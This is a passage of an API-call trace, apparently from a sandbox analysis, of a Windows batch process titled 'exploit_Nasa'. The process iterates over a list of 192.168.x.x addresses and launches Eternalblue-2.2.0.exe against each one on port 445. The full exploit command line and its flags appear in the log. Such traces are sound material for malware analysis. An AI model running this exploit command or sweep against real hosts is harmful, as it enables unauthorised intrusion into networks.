168.11.184\r\n192.168.11.185\r\n192.168.11.186\r\n192.168.11.187\r\n192.168.11.188\r\n192.168.11.189\r\n192.168.11.190\r\n192.168.11.191\r\n192.168.11.192\r\n192.168.11.193\r\n192.168.11.194\r\n192.168.11.195\r\n192.168.11.196\r\n192.168.11.197\r\n192.168.11.198\r\n192.168.11.199\r\n192.168.11.200\r\n192.168.11.201\r\n192.168.11.202\r\n192.168.11.203\r\n192.168.11.204\r\n192.168.11.205\r\n192.168.11.206\r\n192.168.11.207\r\n192.168.11.208\r\n192.168.11.209\r\n192.168.11.210\r\n192.168.11.211\r\n192.168.11.212\r\n192.168.11.213\r\n192.168.11.214\r\n192.168.11.215\r\n192.168.11.216\r\n192.168.11.217\r\n192.168.11.218\r\n192.168.11.219\r\n192.168.11.220\r\n192.168.11.221\r\n192.168.11.222\r\n192.168.11.223\r\n192.168.11.224\r\n192.168.11.225\r\n192.168.11.226\r\n192.168.11.227\r\n192.168.11.228\r\n192.168.11.229\r\n192.168.11.230\r\n192.168.11.231\r\n192.168.11.232\r\n192.168.11.233\r\n192.168.11.234\r\n192.168.11.235\r\n192.168.11.236\r\n192.168.11.237\r\n192.168.11.238\r\n192.168.11.239\r\n192.168.11.240\r\n192.168.11.241\r\n192.168.11.242\r\n192.168.11.243\r\n192.168.11.244\r\n192.168.11.245\r\n192.168.11.246\r\n192.168.11.247\r\n192.168.11.248\r\n192.168.11.249\r\n192.168.11.250\r\n192.168.11.251\r\n192.168.11.252\r\n192.168.11.253\r\n192.168.11.254\r\n192.168.11.255\r\n192.168.12.0\r\n192.168.12.1\r\n192.168.12.2\r\n192.168.12.3\r\n192.168.12.4\r\n192.168.12.5\r\n192.168.12.6\r\n192.168.12.7\r\n192.168.12.8\r\n192.168.12.9\r\n192.168.12.10\r\n192.168.12.11\r\n192.168.12.12\r\n192.168.12.13\r\n192.168.12.14\r\n192.168.12.15\r\n192.168.12.16\r\n192.168.12.17\r\n192.168.12.18\r\n192.168.12.19\r\n192.168.12.20\r\n192.168.12.21\r\n192.168.12.22\r\n192.168.12.23\r\n192.168.12.24\r\n192.168.12.25\r\n192.168.12.26\r\n192.168.12.27\r\n192.168.12.28\r\n192.168.12.29\r\n192.168.12.30\r\n192.168.12.31\r\n192.168.12.32\r\n192.168.12.33\r\n192.168.12.34\r\n192.168.12.35\r\n192.168.12.36\r\n192.168.12.37\r\n192.168.12.38\r\n192.168.12.39\r\n192.168.12.40\r\n192.168.12.41\r\n192.168.12.42\r\n192.168.12.43\r\n192.168.12.44\r\n192.168.12.45\r\n192.168.12.46\r\n192.168.12.47\r\n192.168.12.48\r\n192.168.12.49\r\n192.168.12.50\r\n192.168.12.51\r\n192.168.12.52\r\n192.168.12.53\r\n192.168.12.54\r\n192.168.12.55\r\n192.168.12.56\r\n192.168.12.57\r\n192.168.12.58\r\n192.168.12.59\r\n192.168.12.60\r\n192.168.12.61\r\n192.168.12.62\r\n192.168.12.63\r\n192.168.12.64\r\n192.168.12.65\r\n192.168.12.66\r\n192.168.12.67\r\n192.168.12.68\r\n192.168.12.69\r\n192.168.12.70\r\n192.168.12.71\r\n192.168.12.72\r\n192.168.12.73\r\n192.168.12.74\r\n192.168.12.75\r\n192.168.12.76\r\n192.168.12.77\r\n192.168.12.78\r\n192.168.12.79\r\n192.168.12.80\r\n192.168.12.81\r\n192.168.12.82\r\n192.168.12.83\r\n192.168.12.84\r\n192.168.12.85\r\n192.168.12.86\r\n192.168.12.87\r\n192.168.12.88\r\n192.168.12.89\r\n192.168.12.90\r\n192.168.12.91\r\n192.168.12.92\r\n192.168.12.93\r\n192.168.12.94\r\n192.168.12.95\r\n192.168.12.96\r\n192.168.12.97\r\n192.168.12.98\r\n192.168.12.99\r\n192.168.12.100\r\n192.168.12.101\r\n192.168.12.102\r\n192.168.12.103\r\n192.168.12.104\r\n192.168.12.105\r\n192.168.12.106\r\n192.168.12.107\r\n192.168.12.108\r\n192.168.12.109\r\n192.168.12.110\r\n192.168.12.111\r\n192.168.12.112\r\n192.168.12.113\r\n192.168.12.114\r\n192.168.12.115\r\n192.168.12.116\r\n192.168.12.117\r\n192.168.12.118\r\n192.168.12.119\r\n192.168.12.120\r\n192.168.12.121\r\n192.168.12.122\r\n192.168.12.123\r\n192.168.12.124\r\n192.168.12.125\r\n192.168.12.126\r\n192.168.12.127\r\n192.168.12.128\r\n192.168.12.129\r\n192.168.12.130\r\n192.168.12.131\r\n192.168.12.132\r\n192.168.12.133\r\n192.168.12.134\r\n192.168.12.135\r\n192.168.12.136\r\n192.168.12.137\r\n192.168.12.138\r\n192.168.12.139\r\n192.168.12.140\r\n192.168.12.141\r\n192.168.12.142\r\n192.168.12.143\r\n192.168.12.144\r\n192.168.12.145\r\n192.168.12.146\r\n192.168.12.147\r\n192.168.12.148\r\n192.168.12.149\r\n192.168.12.150\r\n192.168.12.151\r\n192.168.12.152\r\n192.168.12.153\r\n192.168.12.154\r\n192.168.12.155\r\n192.168.12.156\r\n192.168.12.157\r\n192.168.12.158\r\n192.168.12.159\r\n192.168.12.160\r\n192.168.12.161\r\n192.168.12.162\r\n192.168.12.163\r\n192.168.12.164\r\n192.168.12.165\r\n192.168.12.166\r\n192.168.12.167\r\n192.168.12.168\r\n192.168.12.169\r\n192.168.12.170\r\n192.168.12.171\r\n192.168.12.172\r\n192.168.12.173\r\n192.168.12.174\r\n192.168.12.175\r\n192.168.12.176\r\n192.168.12.177\r\n192.168.12.178\r\n192.168.12.179\r\n192.168.12.180\r\n192.168.12.181\r\n192.168.12.182\r\n192.168.12.183\r\n192.168.12.184\r\n192.168.12.185\r\n192.168.12.186\r\n192.168.12.187\r\n192.168.12.188\r\n192.168.12.189\r\n192.168.12.190\r\n192.168.12.191\r\n192.168.12.192\r\n192.168.12.193\r\n192.168.12.194\r\n192.168.12.195\r\n192.168.12.196\r\n192.168.12.197\r\n192.168.12.198\r\n192.168.12.199\r\n192.168.12.200\r\n192.168.12.201\r\n192.168.12.202\r\n192.168.12.203\r\n192.168.12.204\r\n192.168.12.205\r\n192.168.12.206\r\n192.168.12.207\r\n192.168.12.208\r\n192.168.12.209\r\n192.168.12.210\r\n192.168.12.211\r\n192.168.12.212\r\n192.168.12.213\r\n192.168.12.214\r\n192.168.12.215\r\n192.168.12.216\r\n192.168.12.217\r\n192.168.12.218\r\n192.168.12.219\r\n192.168.12.220\r\n192.168.12.221\r\n192.168.12.222\r\n192.168.12.223\r\n192.168.12.224\r\n192.168.12.225\r\n192.168.12.226\r\n192.168.12.227\r\n192.168.12.228\r\n192.168.12.229\r\n192.168.12.230\r\n192.168.12.231\r\n192.168.12.232\r\n192.168.12.233\r\n192.168.12.234\r\n192.168.12.235\r\n192.168.12.236\r\n192.168.12.237\r\n192.168.12.238\r\n192.168.12.239\r\n192.168.12.240\r\n192.168.12.241\r\n192.168.12.242\r\n192.168.12.243\r\n192.168.12.244\r\n192.168.12.245\r\n192.168.12.246\r\n192.168.12.247\r\n192.168.12.248\r\n192.168.12.249\r\n192.168.12.250\r\n192.168.12.251\r\n192.168.12.252\r\n192.168.12.253\r\n192.168.12.254\r\n192.168.12.255\r\n192.168.13.0\r\n192.168.13.1\r\n192.168.13.2\r\n192.168.13.3\r\n192.168.13.4\r\n192.168.13.5\r\n192.168.13.6\r\n192.168.13.7\r\n192.168.13.8\r\n192.168.13.9\r\n192.168.13.10\r\n192.168.13.11\r\n192.168.13.12\r\n192.168.13.13\r\n192.168.13.14\r\n192.168.13.15\r\n192.168.13.16\r\n192.168.13.17\r\n192.168.13.18\r\n192.168.13.19\r\n192.168.13.20\r\n192.168.13.21\r\n192.168.13.22\r\n192.168.13.23\r\n192.168.13.24\r\n192.168.13.25\r\n192.168.13.26\r\n192.168.13.27\r\n192.168.13.28\r\n192.168.13.29\r\n192.168.13.30\r\n192.168.13.31\r\n192.168.13.32\r\n192.168.13.33\r\n192.168.13.34\r\n192.168.13.35\r\n192.168.13.36\r\n192.168.13.37\r\n192.168.13.38\r\n192.168.13.39\r\n192.168.13.40\r\n192.168.13.41\r\n192.168.13.42\r\n192.168.13.43\r\n192.168.13.44\r\n192.168.13.45\r\n192.168.13.46\r\n192.168.13.47\r\n192.168.13.48\r\n192.168.13.49\r\n192.168.13.50\r\n192.168.13.51\r\n192.168.13.52\r\n192.168.13.53\r\n192.168.13.54\r\n192.168.13.55\r\n192.168.13.56\r\n192.168.13.57\r\n192.168.13.58\r\n192.168.13.59\r\n192.168.13.60\r\n192.168.13.61\r\n192.168.13.62\r\n192.168.13.63\r\n192.168.13.64\r\n192.168.13.65\r\n192.168.13.66\r\n192.168.13.67\r\n192.168.13.68\r\n192.168.13.69\r\n192.168.13.70\r\n192.168.13.71\r\n192.168.13.72\r\n192.168.13.73\r\n192.168.13.74\r\n192.168.13.75\r\n192.168.13.76\r\n192.168.13.77\r\n192.168.13.78\r\n192.168.13.79\r\n192.168.13.80\r\n192.168.13.81\r\n192.168.13.82\r\n192.168.13.83\r\n192.168.13.84\r\n192.168.13.85\r\n192.168.13.86\r\n192.168.13.87\r\n192.168.13.88\r\n192.168.13.89\r\n192.168.13.90\r\n192.168.13.91\r\n192.168.13.92\r\n192.168.13.93\r\n192.168.13.94\r\n192.168.13.95\r\n192.168.13.96\r\n192.168.13.97\r\n192.168.13.98\r\n192.168.13.99\r\n192.168.13.100\r\n192.168.13.101\r\n192.168.13.102\r\n192.168.13.103\r\n192.168.13.104\r\n192.168.13.105\r\n192.168.13.106\r\n192.168.13.107\r\n192.168.13.108\r\n192.168.13.109\r\n192.168.13.110\r\n192.168.13.111\r\n192.168.13.112\r\n192.168.13.113\r\n192.168.13.114\r\n192.168.13.115\r\n192.168.13.116\r\n192.168.13.117\r\n192.168.13.118\r\n192.168.13.119\r\n192.168.13.120\r\n192.168.13.121\r\n192.168.13.122\r\n192.168.13.123\r\n192.168.13.124\r\n192.168.13.125\r\n192.168.13.126\r\n192.168.13.127\r\n192.168.13.128\r\n192.168.13.129\r\n192.168.13.130\r\n192.168.13.131\r\n192.168.13.132\r\n192.168.13.133\r\n192.168.13.134\r\n192.168.13.135\r\n192.168.13.136\r\n192.168.13.137\r\n192.168.13.138\r\n192.168.13.139\r\n192.168.13.140\r\n192.168.13.141\r\n192.168.13.142\r\n192.168.13.143\r\n192.168.13.144\r\n192.168.13.145\r\n192.168.13.146\r\n192.168.13.147\r\n192.168.13.148\r\n192.168.13.149\r\n192.168.13.150\r\n192.168.13.151\r\n192.168.13.152\r\n192.168.13.153\r\n192.168.13.154\r\n192.168.13.155\r\n192.168.13.156\r\n192.168.13.157\r\n192.168.13.158\r\n192.168.13.159\r\n192.168.13.160\r\n192.168.13.161\r\n192.168.13.162\r\n192.168.13.163\r\n192.168.13.164\r\n192.168.13.165\r\n192.168.13.166\r\n192.168.13.167\r\n192.168.13.168\r\n192.168.13.169\r\n192.168.13.170\r\n192.168.13.171\r\n192.168.13.172\r\n192.168.13.173\r\n192.168.13.174\r\n192.168.13.175\r\n192.168.13.176\r\n192.168.13.177\r\n192.168.13.178\r\n192.168.13.179\r\n192.168.13.180\r\n192.168.13.181\r\n192.168.13.182\r\n192.168.13.183\r\n192.168.13.184\r\n192.168.13.185\r\n192.168.13.186\r\n192.168.13.187\r\n192.168.13.188\r\n192.168.13.189\r\n192.168.13.190\r\n192.168.13.191\r\n192.168.13.192\r\n192.168.13.193\r\n192.168.13.194\r\n192.168.13.195\r\n192.168.13.196\r\n192.168.13.197\r\n192.168.13.198\r\n192.168.13.199\r\n192.168.13.200\r\n192.168.13.201\r\n192.168.13.202\r\n192.168.13.203\r\n192.168.13.204\r\n192.168.13.205\r\n192.168.13.206\r\n192.168.13.207\r\n192.168.13.208\r\n192.168.13.209\r\n192.168.13.210\r\n192.168.13.211\r\n192.168.13.212\r\n192.168.13.213\r\n192.168.13.214\r\n192.168.13.215\r\n192.168.13.216\r\n192.168.13.217\r\n192.168.13.218\r\n192.168.13.219\r\n192.168.13.220\r\n192.168.13.221\r\n192.168.13.222\r\n192.168.13.223\r\n192.168.13.224\r\n192.168.13.225\r\n192.168.13.226\r\n192.168.13.227\r\n192.168.13.228\r\n192.168.13.229\r\n192.168.13.230\r\n192.168.13.231\r\n192.168.13.232\r\n192.168.13.233\r\n192.168.13.234\r\n192.168.13.235\r\n192.168.13.236\r\n192.168.13.237\r\n192.168.13.238\r\n192.168.13.239\r\n192.168.13.240\r\n192.168.13.241\r\n192.168.13.242\r\n192.168.13.243\r\n192.168.13.244\r\n192.168.13.245\r\n192.168.13.246\r\n192.168.13.247\r\n192.168.13.248\r\n192.168.13.249\r\n192.168.13.250\r\n192.168.13.251\r\n192.168.13.252\r\n192.168.13.253\r\n192.168.13.254\r\n192.168.13.255\r\n192.168.14.0\r\n192.168.14.1\r\n192.168.14.2\r\n192.168.14.3\r\n192.168.14.4\r\n192.168.14.5\r\n192.168.14.6\r\n192.168.14.7\r\n192.168.14.8\r\n192.168.14.9\r\n192.168.14.10\r\n") returned 1055592
[0235.377] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x400a) returned 0x3c8ab8
[0235.377] GetProcessHeap () returned 0x3b0000
[0235.377] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c8ab8, Size=0x1c) returned 0x3c8ab8
[0235.377] GetProcessHeap () returned 0x3b0000
[0235.377] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c8ab8) returned 0x1c
[0235.377] GetProcessHeap () returned 0x3b0000
[0235.377] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x400a) returned 0x3d5640
[0235.378] GetProcessHeap () returned 0x3b0000
[0235.378] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3d5640, Size=0x54) returned 0x3d5640
[0235.378] GetProcessHeap () returned 0x3b0000
[0235.378] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3d5640) returned 0x54
[0235.379] GetProcessHeap () returned 0x3b0000
[0235.379] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x400a) returned 0x3d56a0
[0235.379] GetProcessHeap () returned 0x3b0000
[0235.379] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3d56a0, Size=0x50) returned 0x3d56a0
[0235.379] GetProcessHeap () returned 0x3b0000
[0235.379] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3d56a0) returned 0x50
[0235.379] GetProcessHeap () returned 0x3b0000
[0235.379] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x400a) returned 0x3d56f8
[0235.379] GetProcessHeap () returned 0x3b0000
[0235.379] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3d56f8, Size=0x330) returned 0x3d56f8
[0235.379] GetProcessHeap () returned 0x3b0000
[0235.379] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3d56f8) returned 0x330
[0235.379] GetConsoleTitleW (in: lpConsoleTitle=0x28f060, nSize=0x104 | out: lpConsoleTitle="Administrator: exploit_Nasa") returned 0x1c
[0235.441] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x54) returned 0x3c66e0
[0235.442] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c66e0, Size=0x2e) returned 0x3c66e0
[0235.442] GetProcessHeap () returned 0x3b0000
[0235.442] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c66e0) returned 0x2e
[0235.442] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x38) returned 0x3c6718
[0235.443] _vsnwprintf (in: _Buffer=0x4a9e4640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x28f028 | out: _Buffer="í╛192.168.0.154í┐\r\n") returned 19
[0235.492] _get_osfhandle (_FileHandle=1) returned 0x7
[0235.492] GetFileType (hFile=0x7) returned 0x2
[0235.493] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0235.493] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28efe8 | out: lpMode=0x28efe8) returned 1
[0235.493] _get_osfhandle (_FileHandle=1) returned 0x7
[0235.493] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a9e4640*, nNumberOfCharsToWrite=0x13, lpNumberOfCharsWritten=0x28f014, lpReserved=0x0 | out: lpBuffer=0x4a9e4640*, lpNumberOfCharsWritten=0x28f014*=0x13) returned 1
[0235.494] GetConsoleTitleW (in: lpConsoleTitle=0x28f060, nSize=0x104 | out: lpConsoleTitle="Administrator: exploit_Nasa") returned 0x1c
[0235.497] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3c6b40, lpFilePart=0x28eb80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28eb80*="Desktop") returned 0x25
[0235.497] SetErrorMode (uMode=0x0) returned 0x1
[0235.497] GetProcessHeap () returned 0x3b0000
[0235.497] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c6b38, Size=0x78) returned 0x3c6b38
[0235.497] GetProcessHeap () returned 0x3b0000
[0235.497] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c6b38) returned 0x78
[0235.497] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a9e0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
[0235.497] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
[0235.497] GetProcessHeap () returned 0x3b0000
[0235.497] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x120) returned 0x3c6bb8
[0235.497] GetProcessHeap () returned 0x3b0000
[0235.497] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x238) returned 0x3c6ce0
[0235.498] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0235.498] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0", fInfoLevelId=0x1, lpFindFileData=0x28e91c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28e91c) returned 0xffffffff
[0235.498] GetLastError () returned 0x2
[0235.499] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.*", fInfoLevelId=0x1, lpFindFileData=0x28e8fc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28e8fc) returned 0x3c6e90
[0235.499] GetProcessHeap () returned 0x3b0000
[0235.499] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3b08e8, Size=0x4) returned 0x3b08e8
[0235.499] FindClose (in: hFindFile=0x3c6e90 | out: hFindFile=0x3c6e90) returned 1
[0235.499] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.COM", fInfoLevelId=0x1, lpFindFileData=0x28e8fc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28e8fc) returned 0xffffffff
[0235.499] GetLastError () returned 0x2
[0235.500] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.EXE", fInfoLevelId=0x1, lpFindFileData=0x28e8fc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28e8fc) returned 0x3c6e90
[0235.500] FindClose (in: hFindFile=0x3c6e90 | out: hFindFile=0x3c6e90) returned 1
[0235.500] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
[0235.500] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
[0235.500] GetConsoleTitleW (in: lpConsoleTitle=0x28edf4, nSize=0x104 | out: lpConsoleTitle="Administrator: exploit_Nasa") returned 0x1c
[0235.500] InitializeProcThreadAttributeList (in: lpAttributeList=0x28ec7c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x28ed44 | out: lpAttributeList=0x28ec7c, lpSize=0x28ed44) returned 1
[0235.500] UpdateProcThreadAttribute (in: lpAttributeList=0x28ec7c, dwFlags=0x0, Attribute=0x60001, lpValue=0x28ed3c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x28ec7c, lpPreviousValue=0x0) returned 1
[0235.501] GetStartupInfoW (in: lpStartupInfo=0x28ec38 | out: lpStartupInfo=0x28ec38*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0))
[0235.501] lstrcmpW (lpString1="\\Eternalblue-2.2.0.exe", lpString2="\\XCOPY.EXE") returned -1
[0235.504] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe", lpCommandLine="Eternalblue-2.2.0 --TargetIp 192.168.0.154 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig Eternalblue-2.2.0.log", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x28ecd8*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="Eternalblue-2.2.0 --TargetIp 192.168.0.154 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig Eternalblue-2.2.0.log", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28ed24 | out: lpCommandLine="Eternalblue-2.2.0 --TargetIp 192.168.0.154 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig Eternalblue-2.2.0.log", lpProcessInformation=0x28ed24*(hProcess=0x74, hThread=0x78, dwProcessId=0xfa4, dwThreadId=0xfa8)) returned 1
[0235.515] CloseHandle (hObject=0x78) returned 1
[0235.515] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
[0235.515] GetProcessHeap () returned 0x3b0000
[0235.515] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c7f68 | out: hHeap=0x3b0000) returned 1
[0235.515] GetEnvironmentStringsW () returned 0x3c7f68*
[0235.515] GetProcessHeap () returned 0x3b0000
[0235.515] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xb44) returned 0x3c8ae0
[0235.515] FreeEnvironmentStringsW (penv=0x3c7f68) returned 1
[0235.515] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0
[0264.026] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x28ec18 | out: lpExitCode=0x28ec18*=0x0) returned 1
[0264.027] CloseHandle (hObject=0x74) returned 1
[0264.027] _vsnwprintf (in: _Buffer=0x28ed60, _BufferCount=0x13, _Format="%08X", _ArgList=0x28ec24 | out: _Buffer="00000000") returned 8
[0264.027] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
[0264.028] GetProcessHeap () returned 0x3b0000
[0264.028] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c8ae0 | out: hHeap=0x3b0000) returned 1
[0264.028] GetEnvironmentStringsW () returned 0x3ca1a8*
[0264.028] GetProcessHeap () returned 0x3b0000
[0264.028] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xb6a) returned 0x3cad20
[0264.028] FreeEnvironmentStringsW (penv=0x3ca1a8) returned 1
[0264.028] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
[0264.028] GetProcessHeap () returned 0x3b0000
[0264.028] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cad20 | out: hHeap=0x3b0000) returned 1
[0264.028] GetEnvironmentStringsW () returned 0x3ca1a8*
[0264.028] GetProcessHeap () returned 0x3b0000
[0264.028] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xb6a) returned 0x3cad20
[0264.028] FreeEnvironmentStringsW (penv=0x3ca1a8) returned 1
[0264.028] GetProcessHeap () returned 0x3b0000
[0264.028] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0e50 | out: hHeap=0x3b0000) returned 1
[0264.028] DeleteProcThreadAttributeList (in: lpAttributeList=0x28ec7c | out: lpAttributeList=0x28ec7c)
[0264.029] GetProcessHeap () returned 0x3b0000
[0264.029] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x400a) returned 0x3d5a30
[0264.029] GetProcessHeap () returned 0x3b0000
[0264.029] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3d5a30, Size=0x1c) returned 0x3d5a30
[0264.029] GetProcessHeap () returned 0x3b0000
[0264.029] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3d5a30) returned 0x1c
[0264.029] GetProcessHeap () returned 0x3b0000
[0264.029] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x400a) returned 0x3d5a58
[0264.029] GetProcessHeap () returned 0x3b0000
[0264.030] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3d5a58, Size=0x54) returned 0x3d5a58
[0264.030] GetProcessHeap () returned 0x3b0000
[0264.030] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3d5a58) returned 0x54
[0264.030] GetProcessHeap () returned 0x3b0000
[0264.030] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x400a) returned 0x3d5ab8
[0264.030] GetProcessHeap () returned 0x3b0000
[0264.030] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3d5ab8, Size=0x50) returned 0x3d5ab8
[0264.030] GetProcessHeap () returned 0x3b0000
[0264.030] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3d5ab8) returned 0x50
[0264.030] GetProcessHeap () returned 0x3b0000
[0264.030] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x400a) returned 0x3d5b10
[0264.030] GetProcessHeap () returned 0x3b0000
[0264.030] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3d5b10, Size=0x330) returned 0x3d5b10
[0264.030] GetProcessHeap () returned 0x3b0000
[0264.030] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3d5b10) returned 0x330
[0264.030] GetConsoleTitleW (in: lpConsoleTitle=0x28f060, nSize=0x104 | out: lpConsoleTitle="Administrator: exploit_Nasa") returned 0x1c
[0264.032] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c6fd8, Size=0x2e) returned 0x3c6fd8
[0264.032] GetProcessHeap () returned 0x3b0000
[0264.032] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c6fd8) returned 0x2e
[0264.032] _vsnwprintf (in: _Buffer=0x4a9e4640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x28f028 | out: _Buffer="í╛192.168.0.155í┐\r\n") returned 19
[0264.032] _get_osfhandle (_FileHandle=1) returned 0x7
[0264.032] GetFileType (hFile=0x7) returned 0x2
[0264.032] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0264.033] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28efe8 | out: lpMode=0x28efe8) returned 1
[0264.033] _get_osfhandle (_FileHandle=1) returned 0x7
[0264.033] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a9e4640*, nNumberOfCharsToWrite=0x13, lpNumberOfCharsWritten=0x28f014, lpReserved=0x0 | out: lpBuffer=0x4a9e4640*, lpNumberOfCharsWritten=0x28f014*=0x13) returned 1
[0264.036] GetConsoleTitleW (in: lpConsoleTitle=0x28f060, nSize=0x104 | out: lpConsoleTitle="Administrator: exploit_Nasa") returned 0x1c
[0264.037] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3c8ae8, lpFilePart=0x28eb80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28eb80*="Desktop") returned 0x25
[0264.037] SetErrorMode (uMode=0x0) returned 0x1
[0264.037] GetProcessHeap () returned 0x3b0000
[0264.037] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c8ae0, Size=0x78) returned 0x3c8ae0
